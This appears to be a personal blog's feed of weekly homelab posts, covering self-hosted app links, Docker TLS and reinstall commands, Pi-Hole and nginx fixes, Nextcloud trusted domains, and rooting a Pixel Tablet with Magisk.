Help Net Security: LlamaFirewall: Open-source framework to detect and mitigate AI centric security risks
- “LlamaFirewall is a system-level security framework for LLM-powered applications, built with a modular design to support layered, adaptive defense. It is designed to mitigate a wide spectrum of AI agent security risks including jailbreaking and indirect prompt injection, goal hijacking, and insecure code outputs.”
GitHub: yaelwrites / Big-Ass-Data-Broker-Opt-Out-List
GitHub: AzimsTech / Android_Hacking: “All things Android | Happy New Year 🎉 2025️⃣”

selfh.st: Self-Host Weekly (30 May 2025)

selfh.st: Optimal Plex Settings for Privacy-Conscious Users
- I think I have saved this multiple times but keep forgetting to actually read through it & make any of the recommended changes (if I haven’t already done so).
GitHub: adityachandelgit/ BookLore: “BookLore is a web app for hosting, managing, and exploring books, with support for PDFs, eBooks, reading progress, metadata, and stats.”
- Looking for something a little simpler than calibre for my books.
GitHub: allaboutduncan / comic-utis: “Stand alone utility to manage, edit, and update digital comic libraries of any size.”
- If I’m looking for something new \ simpler for my books, figured it couldn’t hurt to look at comics too.
GitHub: papra-hq / papra: “The minimalistic document archiving platform.”
- I will eventually get around to trying to set this up again…
Codeberg: readeck / readeck: “Readeck is a simple web application that lets you save the precious readable content of web pages you like and want to keep forever. https://readeck.org/"
- I am pretty happy with Karakeep (formerly Hoarder), but wanted to look at Readeck again. I know I used or tried to use it in the past, but don’t remember many details.
GitHub: wizarrrr / wizarr: “Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby etc.”
- Been meaning to look at some of these for my self-hosted library.
GitHub: maranguapo / BudgetBoss: “A stupid simple budget app!”
- Probably better than spreadsheets =]
GitHub: cfstcyr / docker-switchboard: “Quickly control your Docker containers from a simple web UI”
- Maybe something simpler \ easier than Portainer.
GitHub: patricksthannon / Dockscribe: “CLI tool to pull short descriptions of all currently running docker containers”
- Use with some other utilities to replace Portainer?
GitHub: giacomo-folli / reflectiv: “reflectiv is a web application that allows users to generate personalized monthly reflection diaries in PDF format.”
- I use DailyTxT, but wanted to look at this too.
GitHub: slackspace-io / shoebox: “A digital shoebox for organizing and preserving your videos over a lifetime.”
- Currently using Immich for photo (& video) backups, but wanetd to see how this was.
GitHub: raydak-labs / configarr: “Sync TRaSH Guides + custom configs with Sonarr/Radarr”
- Self hosted library.
GitHub: log-forge / logforge: “Real-time logs, Interactive terminals, Crash alerts/notifications, File system access. All in one UI, for Docker.”
- Help to replace Portainer \ find out when something goes down before I try to use it & see it’s broken.

Command Line Corner

Use find /directory -mtime -1 to quickly locate files modified in the last 24 hours (or any time period of your liking):

$ find /user/test -mtime -1
  selfhost-weekly.txt
  docker-compose.yml

selfh.st: Command Line Corner: “An archive of useful Linux commands shared in Self-Host Weekly”
- I didn’t realize there was a dedicated page for the commands that Ethan Sholly has posted in his weekly updates.

w33k in g33k: May 23, 2025

Fri, 23 May 2025 17:00:00 -0400

Recap of things from this past week.

w33k in g33k: May 16, 2025

Fri, 16 May 2025 17:00:00 -0400

Miscellaneous

I finally got TLS certificates working with the Docker API: Docker Docs: Use TLS (HTTPS) to protect the Docker daemon socket
- I just went with a separate CA from my SSL certificates instead of trying to get it working with Step-CA.

# Client Key:
openssl genrsa -out Homepage-client.key.pem 4096
openssl req -subj '/CN=Homepage-client' -new -key Homepage-client.key.pem -out Homepage-client.csr
echo extendedKeyUsage = clientAuth > extfile-Homepage-client.cnf
openssl x509 -req -days 365 -sha256 -in Homepage-client.csr -CA Docker_API-CA.pem -CAkey Docker_API-CA.key.pem \
  -CAcreateserial -out Homepage-client.cert.pem -extfile extfile-Homepage-client.cnf

- I had to “reinstall” Docker on my rootless hosts for an unknown reason, but did finally get those working again:

/usr/bin/dockerd-rootless-setuptool.sh uninstall -f ; /usr/bin/rootlesskit rm -rf /home/smc/.local/share/docker
/usr/bin/rootlesskit rm -rf /home/smc/.local/share/docker
sudo apt-get purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
autoremove; autoclean
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo systemctl disable --now docker.service docker.socket
sudo rm /var/run/docker.sock
dockerd-rootless-setuptool.sh install

selfh.st

selfh.st: Self-Host Weekly (16 May 2025)
- GitHub: glanceapp / glance: “A self-hosted dashboard that puts all your feeds in one place”
- GitHub: papra-hq / papra: “The minimalistic document archiving platform.”
- GitHub: gelbphoenix / autocaliweb: “📚 Web managing platform for eBooks, eComics and PDFs”
- GitHub: sinandredemption / kath: “Kath is a lightweight, retro-style, ephemeral chat app with a small twist: you can see what the other people in the room are typing in real-time.”
- GitHub: murtaza-nasir / maestro: “MAESTRO is an AI-powered research application designed to streamline complex research tasks.”
- GitHub: openconstruct / Peersuite: “Peer to peer workspace”
- GitHub: blinkospace / blinko: “An open-source, self-hosted personal AI note tool prioritizing privacy, built using TypeScript .”
- GitHub: dhop90 / homelab: “How I document my homelab”
- GitHub: glanceapp / glance: “A self-hosted dashboard that puts all your feeds in one place”

w33k in g33k: May 09, 2025

Fri, 09 May 2025 17:00:00 -0400

Sean’s Notes:

Hack a Day: Rayhunter Sniffs Out Stingrays For $30
- I’ve been meaning to test this out, especially since it would be a cheap project. A coworker of mine set one up as well, & I believe there is still an open question on whether a SIM card is actually needed or not for use.
CSO Online: Company behind modified Signal app used by Mike Walz allegedly hacked
- Stupid people doing stupid things…
- 404 Media: The Signal Clone the Trump Admin Uses Was Hacked
- Micah F. Lee: TM SGNL, the obscure unofficial Signal app Mike Waltz uses to text with Trump officials
GitHub: ofkm / arcane: “Simple and Elegant Docker Management UI written in Typescript and SvelteKit”
- Kind of looking to replace Portainer, but not for any particular reason.
- Someone in the post said it best… “I am sticking with what I am used to until the dust settles. I like where this is going though.”
/r/SelfHosted: Guide to Host Jellyfin for People Coming from Plex

selfh.st: Self-Host Weekly (9 May 2025)

selfh.st: Custom Colors Are Now Available For selfh.st/icons
GitHub: ofkm / arcane: “Simple and Elegant Docker Management UI written in Typescript and SvelteKit”
GitHub: rippleFCL / bws-cache: “Bitwarden Secrets Manager cache server”
GitHub: jeremehancock / Glimpse: “Plex Media Viewer”
GitHub: binary-knight / logwhisperer: “LogWhisperer is a self-hosted, AI-powered log summarization tool for Linux servers.”

w33k in g33k: May 02, 2025

Fri, 02 May 2025 17:00:00 -0400

Week Ending May 02, 2025

selfh.st: Self-Host Weekly (2 May 2025)

Crowd Supply: Fusion Chime Vision: “An ESP32-based, open-source doorbell system designed to integrate into existing smarthome setups”
- Maybe something to take a look at to not use a video doorbell from one of the bigger companies.
GitHub: crocofied / CoreControl: “Dashboard to manage your entire server infrastructure”
- If selfh.st mentioned this last week, then I might have already looked into it.
GitHub: plexguid / Huntarr.io: “A specialized utility that automates discovering missing and upgrading your media collection!”
- Haven’t touched my *arr stack in a while, so might look into this & see if i want to add it.
GitHub: karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
- Setting up Ollama + DeepSeek for the AI part of this.
GitHub: moghtech / komodo: “🦎 a tool to build and deploy software on many servers 🦎”
- I tried this for a bit, but didn’t really get into it to see if I want to replace Portainer.
GitHub: icereed / paperless-gpt: “Use LLMs and LLM Vision (OCR) to handle paperless-ngx - Document Digitalization powered by AI”
- Still haven’t decided if I “need” something like this, but I know there was another simple one i was trying to get working last week. I’ll have to give it another shot.
GitHub: ellite / Wallos: “Wallos: Open-Source Personal Subscription Tracker”
- I set this up, but then didn’t realize use it that much. Might be another one that i come back to, just to play with for a bit.
GitHub: xpipe-io / xpipe: “Access your entire server infrastructure from your local desktop”
- I can’t remember if i did try this & found something i wasn’t a fan of

My Projects

Moving from Grav to Hugo

CirrusTech: How to convert Grav markdown content to Hugo using powershell
Obsidian Forum: My Obsidian + Hugo blogging setup
- 4rkal’s Dev Blog: My Obsidian + Hugo blogging setup
Robin Hu - Programming and Photography: Hugo: Things I’ve learned so far
Hugo Theme: Terminal.css
GitHub: theNewDynamic \ awesome-hugo: “A curated list of awesome things related to Hugo, The world’s fastest framework for building websites.”
phoenixNAP: rsync Command in Linux: Syntax, Options, Examples
- Needing this as I work on how I want to post or sync from the local “repository” to my site. I figured i would start with rsync while I try to get something like Obsidian working.

Miscellaneous Finds:

GitHub: iiab / iiab: “Internet-in-a-Box - Build your own LIBRARY OF ALEXANDRIA with a Raspberry Pi !”
GitHub: hacksider \ Deep-Live-Cam: “real time face swap and one-click video deepfake with only a single image”
GitHub: Zelda64Recomp / Zelda64Recomp
Medium: Risan Bagja: Upgrade Your SSH Key to Ed25519

w33k in g33k: April 18, 2025

Fri, 25 Apr 2025 17:00:00 -0400

Week Ending April 18, 2025

Projects:

/r/nginxproxymanager: ModSecurity WAF End-of-Life and Alternative Solution
- GitHub: openappsec / openappsec
- open-appsec: How to switch to a ModSecurity WAF alternative before it is EOL in March 2024?
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
Akash Rajpurohit: SearXNG — Privacy-focused metasearch engine for your homelab
Mac App Store: PocketServer: Local Server
GitHub: Oak-and-Sprout / sprout-track: “A tracker to track baby diapers, feedings, naps, pumping, and other activities. "
GitHub: crocofied / CoreControl: “Dashboard to manage your entire server infrastructure”
- CoreControl

Flipper Zero

GitHub: jblanked
- GitHub: FlipperHTTP
  - GitHub: jblanked / FlipperHTTP: WiFi Developer Board (ESP32S2)
- GitHub: FlipWiFi: “FlipperHTTP companion app. Scan and save WiFi networks on your Flipper Zero.”
- GitHub: FlipWorld: “Flipper Zero Open World Multiplayer game, best played with the VGM.”
- GitHub: flipper-application-catalog: “Flipper Application Catalog”
- GitHub: FlipDownloader: “Download apps and assets directly to your Flipper Zero using WiFi.”
- GitHub: FlipSocial: “Social media platform for the Flipper Zero.”
- GitHub: WebCrawler-FlipperZero: “Browse the web, fetch API data, and more on your Flipper Zero.”
- GitHub: FlipRPI: “Use your Flipper Zero to control your Raspberry Pi.”
- GitHub: FlipLibrary: “A Flipper Zero app with a dictionary, random facts, and more.”
- GitHub: FlipWeather: “Use WiFi to get GPS and Weather information on your Flipper Zero.”
- GitHub: FlipTrader: “Use WiFi to get the price of stocks and currency pairs on your Flipper Zero.”
GitHub: o7-machinehum / flipper-blackhat-os
- Hackster.io: Ryan Walker’s Flipper Blackhat Is a Powerful Quad-Core Linux-Based Wi-Fi Add-On for the Flipper Zero

w33k in g33k: April 25, 2025

Fri, 25 Apr 2025 17:00:00 -0400

Week Ending April 25, 2025

selfh.st: Self-Host Weekly (25 April 2025)

GitHub: Caddy
- Maybe I’ll try this out again? Right now I am just doing nginx + Step CA & that does seem to be working fine for me.
GitHub: clemcer /loggifly: “Monitor Docker Logs & send Notifications”
- This would be helpful for when certain containers (i.e.: my internal CA) go down.
GitHub: donaldzou / WGDashboard: “Simple dashboard for WireGuard VPN written in Python & Vue.js”

w33k in g33k: April 04, 2025

Fri, 04 Apr 2025 15:59:00 -0400

w33k in g33k: April 04, 2025

selfh.st: This Week in Self-Hosted (4 April 2025)

Glad I’m following these updates because I did not know LunaSea was shut down. The three apps Ethan mentions as possible replacements are:
- nzb360 (Android)
- Astrysk (iOS)
- Ruddar (iOS)
Github: PhiTux: DailyTxT: I may have already mentioned this last week (or did i forget to post last week…?), but I was excited to see that there is a “2.0” version of DailyTxT coming. Not that there’s anything wrong with the current version (it does exactly what it says & has worked flawlessly for me for at least a year now), but always happy to see updates to services I use =].
Home Assistant: I just moved, so i will be looking into getting Home Assistant setup when i get a chance. I used it in the past, but never got too deep into it, so now will be a fun time for me to try & get the most i can out of it.
GitHub: mag37 / dockcheck: “CLI tool to automate docker image updates. Selective, notifications, autoprune, no pre-pulling. "
- Watchtower has typically been my go-to for image updates, but it can’t hurt to keep an eye out for any replacements.
GitHub: louislam / dockge: “A fancy, easy-to-use and reactive self-hosted docker compose.yaml stack-oriented manager”
- I am currently using Portainer, but like DockCheck \ Portainer, always happy to find new things to play with.
- I believe i did look into this at one point, but don’t recall why I didn’t stick with it over Portainer.
GitHub: mudler / LocalAI: “The free, Open Source alternative to OpenAI, Claude and others. Self-hosted and local-first. Drop-in replacement for OpenAI, running on consumer-grade hardware. No GPU required. Runs gguf, transformers, diffusers and many more models architectures. Features: Generate Text, Audio, Video, Images, Voice Cloning, Distributed, P2P inference”
- Since my experience with running LLM on a RasPi5 with AI HAT+ wasn’t going as I hoped (read: I didn’t look into the HAT enough to see that it isn’t meant for LLM), I might look into this instead.
GitHub: monetr / monetr: “monetr is a budgeting application focused on planning for recurring expenses.”
GitHub: jokob-sk / NetAlertX: “Network intruder and presence detector. Scans for devices connected to your network and alerts you if new and unknown devices are found.”
- I have\had been running this for a while, but haven’t kept on top of it. Especially with setting up a new Pi-Hole instance & local network, I probably have to get this updated as well. I will likely just wipe what I have & start clean.
GitHub: iib0011 / omni-tools: “Self-hosted collection of powerful web-based tools for everyday tasks. No ads, no tracking, just fast, accessible utilities right from your browser!”
- Because, “why not?” (r) 😀
GitHub: [open-webui](- https://github.com/open-webui) / open-webui: “User-friendly AI Interface (Supports Ollama, OpenAI API, …)”
- This is what I was getting setup on my RasPi5 + AI HAT+, but probably won’t keep it running because of the performance.
GitHub: ajnart / dcm: “DockerComposeMaker (DCM) is a self-hostable website to help you pick and create a docker-compose.yml file for your home server. Discover new containers, discover and share a config in a couple of clicks!”
- Most of the containers I’m going to run have the Docker compose files already, but still thought this was worth noting down & taking a look at.
GitHub: ArnaudCrl / immich-automated-selfie-timelapse
- Just looked like a fun project.
GitHub: kyantech / Palmr: “Palmr. is an open-source file-sharing platform focused on privacy and security. It enables users to upload, manage, and share files with features like password protection, custom links, and access control without tracking or limitations. Designed for seamless and secure sharing, Palmr. is completely free.”
GitHub: SolarSistim / Quickdash: “Quickdash is a simple Angular/JSON powered self-hosted start page.”
- I seem to have a wandering eye for home\start pages, dashboards, etc. I’m currently running homepage.
GitHub: thiago4int / resume-ai: “This project is an AI-powered resume generator designed to take unstructured profile information and job descriptions as input, then generate ATS-friendly, structured resumes using Ollama + Gemma 3B/1B.”
- I was curious since we were hiring recently.
GitHub: HeyWillow / willow: “Open source, local, and self-hosted Amazon Echo/Google Home competitive Voice Assistant alternative”
GitHub: adityachandelgit / BookLore: “BookLore is a web app for hosting, managing, and exploring books, with support for PDFs, eBooks, reading progress, metadata, and stats.”
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
YouTube: Ditch Your VPN! Twingate: The EASY Way to Access Your Home Server
- TwinGate
- Currently using WireGuard

Miscellaneous

I was having some issues with a Raspbian RasPi5 that I had to correct: Error: fastfetch: error while loading shared libraries: libm.so.6: ELF load command address/offset not page-aligned: Raspberry Pi Forums: Pi5: Error loading libtinfo.so.6: ELF load command address/offset not page-aligned
- load addesses with: “readelf -l /path/to/libtinfo.so.6”
- Add “kernel=kernel8.img” to “/boot/firmware/config.txt”
EFF: Meet Rayhunter: A New Open Source Tool from EFF to Detect Cellular Spying
- Just looked like a fun little project to do.
Pi-Hole + nginx (/admin, /api): The issue i was having was fixed by editing the “location” fields in the nginx config. I needed to include locations for “/admin” & “/api”, AND have those entries before the “/” location.
- Once I got that fixed, my homepage & Nebula Sync containers started working.
- There were a few other issues that I fixed & likely caused some of my issues: Using the wrong “kind” of password from the Pi-Hole API, & needing to enable webserver.api.app_sudo permission on the “replica” Pi-Hole, so that settings could be updated from the primary.
I was kicking myself for a bit because after moving & getting a new ISP, I wanted to use my out router instead of theirs. Turns out all i needed to do was contact them to put it bridge mode. It would have been a lot nicer had i been able to access an admin panel & do it myself, but at least that’s done with.
- I was also having some issues with DNS because the date & time were off on those boxes, so that needed to be fixed before DNS started working again.
Ollama & OpenWebUI: I tried running this on my RasPi5 + AI HAT+, but as I think i mentioned earlier, the performance wasn’t great, since the AI HAT doesn’t help LLM’s.
- Geshan Manandhar: How to use Ollama and Open WebUI with Docker Compose [Part 4]: This was a huge help to me eventually getting Open WebUI & Ollama working, but likely won’t be using it for now.
- Now I just have to look for some AI HAT+ projects with the camera to actually leverage it.

Pi-Hole v6 + nginx

Wed, 26 Mar 2025 12:02:00 -0400

This definitely took me way longer than it should have… but at least I finally have Homepage & Nebula Sync working with Pi-Hole v6

Some of the “tricky"parts that caused me a few hours of troubleshooting & headaches was because I use nginx as my reverse proxy & instead of Pi-Hole having a different setup that the rest of what’s running on that device, I wanted it to use nginx too.

The first thing I had to do was update my nginx config to include the below:

w33k in g33k: March 21, 2025

Fri, 21 Mar 2025 13:31:00 -0400

Most of today’s posts are things I’m noting from Ethan Sholly’s site: selfh.st by Ethan Sholly: This Week in Self-Hosted (21 March 2025)

GitHub: LukeGus \ Termix: Termix is an open-source forever free self-hosted server management panel
GitHub: orayemre \ Notemod: Note-Taking App Free & Open Source
GitHub: hamzasaleem2 \ subra-local: Manage and track all your subscriptions in one place. Take control of your recurring expenses with Subra’s powerful subscription management tools.
GitHub: jt196 \ vanilla-cookbook: Vanilla Cookbook is a self hosted recipe manager built with Svelte(kit). It is designed with complexity under the hood, keeping the user experience as vanilla as possible.
GitHub: openbao \ openbao: OpenBao exists to provide a software solution to manage, store, and distribute sensitive data including secrets, certificates, and keys.
Homepage: Hoarder Widget: A Hoarder widget is now available, so I was trying to get that setup.

widget:
  type: hoarder
  url: http[s]://hoarder.host.or.ip[:port]
  key: hoarderapikey

Akash Rajpurohit: n8n — Powerful automation for your homelab services
YouTube: Lawrence Systems: Getting Up & Running with Ollama
YouTube: Christian Lempa: My NEW Homeserver for AI + Power efficiency
YouTube: John Hammond: ms teams is now a C2 (command-and-control)
GitHub: ronaldl29 public-domain-recipes: A recipe website with no backstories, ads, or trackers.
- Not really tech \ g33k related, but i thought it was interesting, so here it is 🙃
Arducam Wiki: 16MP IMX519: I picked up this camera to try & use with my RasPi5 with AI HAT+ since I seem to be having issues with the original one i bought: Amazon: Freenove 8MP Camera. We’ll see if that makes a difference & if i can come up with an actual use for the HAT since it’s not meant for local LLM’s.
- Again… if I had done more research ahead of time, could have found things like this: /r/ollama: Ollama models on Raspberry Pi AI Hat & Pi 5. And specifically about the Hailo-10H M.2 Generative AI Acceleration Module
- Buy Zero: DeepSeek on Raspberry Pi 5 (16GB): A Step-by-Step Guide to Local LLM Inference
Check for processes listening on a specific port: lsof -i :$portNumber
Having to fix Pi-Hole + nginx: I had to edit the nginx config to get icons working. In the server {} block, I added this line: add_header Content-Security-Policy "default-src 'self'; style-src 'self' 'nonce-{notSureIfThisNonceIsUniqueToMeOrPiHoleSoRemovingIt}='; style-src-attr 'self' 'nonce-{notSureIfThisNonceIsUniqueToMeOrPiHoleSoRemovingIt}'";
I will be moving soon & have been trying to plan out my home network… Going from a /24 & think I’ll go with a /16, & split by client type. i.e.: Networking infrastructure, servers, clients, wireless, guests, etc.
After upgrading Pi-hole to version 6, i can’t get my Homepage Pi-hole widget working anymore. So I’m still digging into that…

widget:
  type: pihole
  url: http://pi.hole.or.ip
  version: 6 # required if running v6 or higher, defaults to 5
  key: yourpiholeapikey # optional, in v6 can be your password or app password

I rebuilt the “server” where I was running Proxmox just because i wasn’t getting any benefit out of it. I’m sure running it on actual server hardware would have made it more worth it, but for now I’m just going back to Ubuntu Server on that host, & directly use Docker. Previously I was running Proxmox, then an Ubuntu VM, then Docker in there… so this is just taking the overhead out.
- I did run into some trouble at first, but manually wiping the partitions before starting the Ubuntu Server install seemed to have fix the problem.
- Used my usual guide for setting up nginx + ModSecurity: LinuxBabe: How to Set Up ModSecurity with Apache on Debian/Ubuntu. Some of the versions are out-of-date, but after updating those parts it is extremely helpful each time I’ve used it.
- I had setup Docker in rootless mode, so I’m not sure if that’s what lead to issues with me trying to get Portainer running. Looks like I’ll be reviewing that this weekend =]

Raspberry Pi AI HAT+

Thu, 20 Mar 2025 17:09:00 -0400

So i picked up a 16GB Raspberry Pi 5 with the AI HAT+ to play around with AI a bit, before seeing that it’s meant to mainly be used with identifying objects or positions through the camera? I was having a problem getting the camera working anyway, but I was really hoping I would be able to use it for a local LLM with Ollama, & point something like Hoarder at it to see how it did. Unfortunately, because I didn’t read enough ahead of time, it doesn’t look like that is currently possible… so i’m going to have to try & figure out another use for the device.

Week of February 02, 2025

Sun, 02 Feb 2025 22:07:00 -0400

Ideas

Track Awesome Selfhosted Updates Daily: Checking this is usually the highlight of my Friday, since I get can new ideas here.
GitHub: revenz \ Fenrus: If i wanted to try out a new home page option.
GitHub: notclickable-jordan \ starbase-80: Might want to look into this if it kind of watches Docker.
Librum: Maybe an easier alternative to Calibre \ Calibre-Web?
- GitHub: Librum-Reader \ Librum-Server
Leon: “Leon is your open-source personal assistant who can live on your server. He does stuff when you ask him to.”
- GitHub: leon-ai \ leon

Week in g33k: February 01, 2025

Sat, 01 Feb 2025 00:00:00 -0400

AI \ LLM

With all the hype around DeepSeek, I wanted to give it a try but wasn’t interested in providing my Apple or Google accounts for sign-in, nor providing my phone number… so i just looked into running the model locally. I had run Ollama in the past but didn’t do much with it, so I had to look into that again:
- It’s FOSS: I Ran Deepseek R1 on Raspberry Pi 5 and No, it Wasn’t 200 tokens/s: I believe I ordered the Raspberry Pi AI HAT because why not… but don’t have it yet to test.
- It’s FOSS: Run LLMs Locally on Raspberry Pi Using Ollama AI
One reason I was trying to run an AI model locally was to try & get something where I could put all of my personal build notes, & be able to ask questions against it if I came across similar problems in the future. So that will likely be the next project I start on…
- It’s FOSS: Setting Up PrivateGPT to Use AI Chat With Your Documents
- PrivateGPT: Quickstart

Docker

Since i setup my Proxmox install with a VM meant for Docker, I tried to find something simple to run out of there as a test. I decided to go with Watcharr & things seemed to have gone well. The VM took a little bit of setup because I wanted to get my nginx configs, certbot, etc running, but now that it’s all setup, it was worth the work.
After getting all my Docker instances into Homepage, I wanted to start looking into securing the API instead of leaving it open… I’m going to have to revisit this because it seems like it’s more complicated than it should be, but here i am. Until I can get that secured, I’m using the Portainer Agent in places where that’s possible.
- Linux Handbook: How to Set Up Remote Access to Docker Daemon [Detailed Guide]: The problem with this guide is that it looks like this is just to setup one remote host. What if I have multiple?
- GitHub: portainer / portainer: Support connecting to endpoint via integrated SSH client #431

New Site Logo

Wed, 29 Jan 2025 21:17:00 -0400

I wish I could find something between my “original” one & something like this:

Fixing Icons in Vaultwarden

Wed, 29 Jan 2025 08:07:00 -0400

For the last week(?) or so, I noticed that i was no longer seeing icons in my Bitwarden client that is connected to my Vaultwarden install. This morning I finally decided to look into it & see how to fix it. It actually took shorter than I was expecting.

I have my local services behind nginx, & just needed to make a quick update to my config, thanks to a comment by BlackDex here: GitHub: dani-garcia / vaultwarden No Icons in Desktop Clients with Vaultwarden 1.33.0 #5452

Week Ending January 25, 2025

Thu, 23 Jan 2025 13:00:00 -0400

Still have some time left in the week, but figured I would start to put together some of the things I was working on.
Reinstalled Proxmox again on one of my hosts to see if I want to plan to move to that method of management vs. Ubuntu Server + Docker
- So far I haven’t done that much with it, just talking over a coworker’s setup to see if I can mirror that, but I wasn’t expecting to be leveraging VM’s + Docker within there vs. the LXC containers. If that’s the best way (because of the ability to do snapshots, etc), then I’m going to give it a try. I’m going to need to see about backups as well, since I would need to access the files on the drive of the VM vs. direct access like I have with Ubuntu Server.
- I did use a helper script to reconfigure a few things after the base install: GitHub: community-scripts \ ProxmoxVE
- I was able to get Proxmox into Homepage: gethomepage \ homepage: docs/widgets/services/proxmox.md
- Additional Reading: XDA: How I use Docker with Proxmox for the perfect home lab duo
- Tim Kye: Installing Servarr Stack with Docker Compose
Got ACME working on my OpenWrt router so that it can get certificates from my internal Step-CA server on its own.
- Command to generate the certificate in the first place:

/usr/lib/acme/client/acme.sh -d openwrt42.domain.tld --keylength 4096 --accountemail Administrator@domain.otherTLD --server https://ca.home.tld:port/acme/acme/directory --days 7 --standalone --listen-v6 --issue --home /etc/acme --pre-hook "service uhttpd stop" --post-hook "service uhttpd start" --force

- I’m going to have to double check the renewal process to make sure that uhttpd is stopped before & started after getting a cert, otherwise it was very similar to certbot on my other hosts.
Cleaned up some of my docker-compose.yml files (well, edited through Portainer) to actually look at all my external drives for media.
- Since Plex likes movies to be in individual folders (instead of alphabetical, A-Z like I used to have) I had to work on that. I found the script below that will take all of the individual movie files & create folders for them, then move the file in there. the one issue is trying to get it to also move the subtitle files into that same folder so it doesn’t have to be done manually:

for f in *.(mp4|mkv|avi|mov|flv|en.srt)(N); do
    if [ -e "$f" ]; then
        mkdir "${f%.*}"
        mv "$f" "${f%.*}"
    fi
done

- I also had a command to swap colons for hyphens, just to clean that up: find . -depth -name '*:*' -exec bash -c 'mv "$0" "${0//:/-}"' {} \;
Flipper custom firmware updates for my devices:
- GitHub: DarkFlippers / unleashed-firmware
- GitHub: RogueMaster / flipperzero-firmware-wPlugins
- Momentum Firmware
I updated my Pixel Tablet to LineageOS 22.1 & even though i flashed Gapps & the Magisk-modified boot.img, I still lost root through Magisk.
- I did make a post on it, but I believe the issue was that I was supposed to patch init_boot.img instead of boot.img: v3ritas.TECH: Magisk-patched Boot for Pixel Tablet

Magisk-patched Boot for Pixel Tablet

Sun, 19 Jan 2025 02:05:00 -0400

Magisk-patched Boot for Pixel Tablet

January 19, 2025

Just following up to an older post about getting root on the Pixel Tablet with Magisk: Upgrading LineageOS Ma
Instead of using Magisk to patch & flash boot.img, you are doing it to init_boot.img.
Magisk: Installation: Patching Images: Use the Magisk app to patch init_boot.img, reboot to the bootloader, flash the modified image:

adb reboot bootloader
fastboot flash --slot all init_boot magisk_patched-28100_<<random_string>>.img
fastboot reboot

When the device boots, it should now be rooted again.

Adding Trusted Domains to Nextcloud

Thu, 09 Jan 2025 00:00:00 -0400

January 09, 2025

I recently started setting up Cerbot to automate certificate renewals because I was tired of doing it manually, & I couldn’t figure out caddy or traefik proxy.
After getting Step CA configured in Docker & playing around with that a little bit, I was able to start manually getting new certificates (created a new root CA instead of trying to import my existing) to make sure everything was working. For whatever reason, I had always run my nginx proxies on port 9443 instead of 443, which I believe did give me some problems with the verification needed by Step CA. So while updating my nginx configs to now accept traffic on port 443 for the verification, I also then had to update the certificate being used. For my “servers” that have nginx only (i.e.: Not my Pi-Hole boxes that have Apache too…), the change to 443 was not a problem. I do have some workarounds for the Pi-Hole devices.
Well, after the above, I tried to start using Nextcloud on 443 but had a problem because it was not a trusted host. I run my Nextcloud instance in Docker, so it wasn’t as simple as editing config.php or straight-forward occ commands. This was ultimately how I was able to add another “trusted host”:

# Check for the current list of trusted hosts:
docker exec --user www-data <<container_name>> /var/www/html/occ config:system:get trusted_domains

# Add a third trusted host:
docker exec --user www-data <<container_name>> /var/www/html/occ config:system:set trusted_domains 3 --value <<sub.domain.tld>>

# Verify the domain was added:
docker exec --user www-data <<container_name>> /var/www/html/occ config:system:get trusted_domains

I was able to get the details from the Nextcloud documentation (another RTFM moment) to get the exact syntax: Nextcloud Configuration: Using the occ command: Setting an array configuration value

Site Logos

Thu, 26 Dec 2024 00:00:00 +0000

I’m going through what I want my site logo to be, or see if I stick with the old one?

Clicks Keyboard for iPhone

Tue, 10 Dec 2024 00:00:00 -0400

Clicks Keyboard for iPhone

December 10, 2024

I want to start getting back into the habit of making posts, so figured I’d start with this.
I’m still playing around with it, but I’m enjoying the keyboard so far. Only issue I’ve run into is needing to disable one of the settings that set the spacebar to “activate” a field, which pretty much meant I couldn’t use a space in Safari or Firefox (only two I tried). After disabling that, everything worked as expected.
I’m going to start playing around with Shortcuts & see what useful ones I can find or come up with to make the keyboard more useful. I am still getting used to how tall it makes the phone, especially when it’s already on a MAX, but we’ll see how that pans out.

Moving from WordPress to Grav

Sun, 08 Dec 2024 00:00:00 +0000

Moving from WordPress to Grav

December 08, 2024 After coming across Grav I decided to try this instead of WordPress. I’m apparently going all-in on it because while I did make a backup of my WordPress site, I have completely removed it in favor of Grav.

I used a tool to convert the WordPress XML backup to markdown files & there is work I need to do to get it working 100%, but this seems to be good enough for now: GitHub: XARP616 / wordpress-export-to-grav

Rabbit r1 Jailbreak Tools

Tue, 16 Jul 2024 00:00:00 +0000

I just wanted to make note of some r1 jailbreak details.

David Buchanan: Jailbreaking RabbitOS (The Hard Way)

carroot: rabbitOS tethered jailbreak

Rabbit r1 Jailbreak

Thu, 11 Jul 2024 00:00:00 +0000

I haven’t tried it yet, but just saw someone mention an r1 jailbreak that doesn’t modify any partitions so shouldn’t affect OTA updates. It’s also tethered, meaning if or when the device reboots, it’s back to stock (which isn’t necessarily a bad thing).

In case anyone was interested: RabbitOS Jailbreak

Playdate Resources

Sun, 07 Jul 2024 00:00:00 +0000

Making note of a few things I came across recently for the Playdate:
- GameKid
- itch.io: Game Boy & Homebrew
- GitHub: sayhiben / awesome-playdate

Instructions to get stock Android or LineageOS21 on the Rabbit r1 (July 2024)

Fri, 05 Jul 2024 00:00:00 +0000

A few people have been running into issues while trying to get stock Android or LineageOS on their Rabbit r1’s, so I was trying to flesh out some of the documentation: GitHub Gist: veritas06 / Rabbit_r1-Android_Guide.md.

